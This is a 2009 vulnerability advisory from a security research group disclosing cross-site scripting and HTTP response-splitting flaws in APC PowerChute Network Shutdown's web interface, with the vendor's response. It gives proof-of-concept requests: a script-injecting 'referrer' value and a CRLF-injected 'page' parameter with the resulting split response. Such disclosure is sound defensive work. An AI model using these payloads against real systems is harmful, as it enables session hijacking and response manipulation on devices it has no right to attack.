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[DSECRG-09-009] APC PowerChute Network Shutdown's Web Interface - XSS vulnerability



Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-009
------------------link to original advisory --------------------------
http://www.dsecrg.com/pages/vul/show.php?id=82


Application:                    APC PowerChute Network Shutdown's Web Interface
Vendor URL:                     http://www.apc.com/
Bug:                            XSS/Response Splitting
Exploits:                       YES
Reported:                       20.10.2008
Vendor Response:                20.10.2008
Vendor Reference:               081020-000796
Solution:                       Use Firewall
Date of Public Advisory:        26.02.2009
Author:                         Digital Security Research Group [DSecRG] 
(research [at] dsec [dot] ru)



Description
***********

Linked XSS and Response Splitting vulnerabilities found in APC PowerChute 
Network Shutdown's Web Interface.


Details
*******

1. Linked XSS Vulnerability  found in  script /security/applet vulnerable 
parameter - "referrer"


Example
*******

GET /security/applet?referrer=>"'><img/src="javascript:alert('DSECRG_XSS')"> 


2. Response Splitting Vulnerability found in script contexthelp. vulnerable 
parameter - "page"


Example
*******

GET /contexthelp?page=Foobar?%0d%0aDSECRG_HEADER:testvalue HTTP/1.0

response:

HTTP/1.0 302 Moved temporarily
Content-Length: 0
Date: Чт, 25 сен 2008 10:47:42 GMT
Server: Acme.Serve/v1.7 of 13nov96
Connection: close
Expires: 0
Cache-Control: no-cache
Content-type: text/html
Location: help/english/Foobar?
DSECRG_HEADER:testvalue
Content-type: text/html



Solution
********

http://nam-en.apc.com/cgi-bin/nam_en.cfg/php/enduser/std_adp.php?p_faqid=9539


A low-risk web interface vulnerability has been discovered in the PowerChute 
Business Edition  Shutdown Agent.
This issue is scheduled to be addressed in a release of the application.
While the severity of this vulnerability has been determined to be minimal,
it is recommended that user's continue to ensure the highest level of 
protection possible through the placement of PowerChute Business Edition behind 
a firewall.


References
**********

http://nam-en.apc.com/cgi-bin/nam_en.cfg/php/enduser/std_adp.php?p_faqid=9539


About
*****

Digital Security is leading IT security company in Russia, providing 
information security consulting, audit and penetration testing services, risk 
analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and 
PCI DSS standards.
Digital Security Research Group focuses on web application and database 
security problems with vulnerability reports, advisories and whitepapers posted 
regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com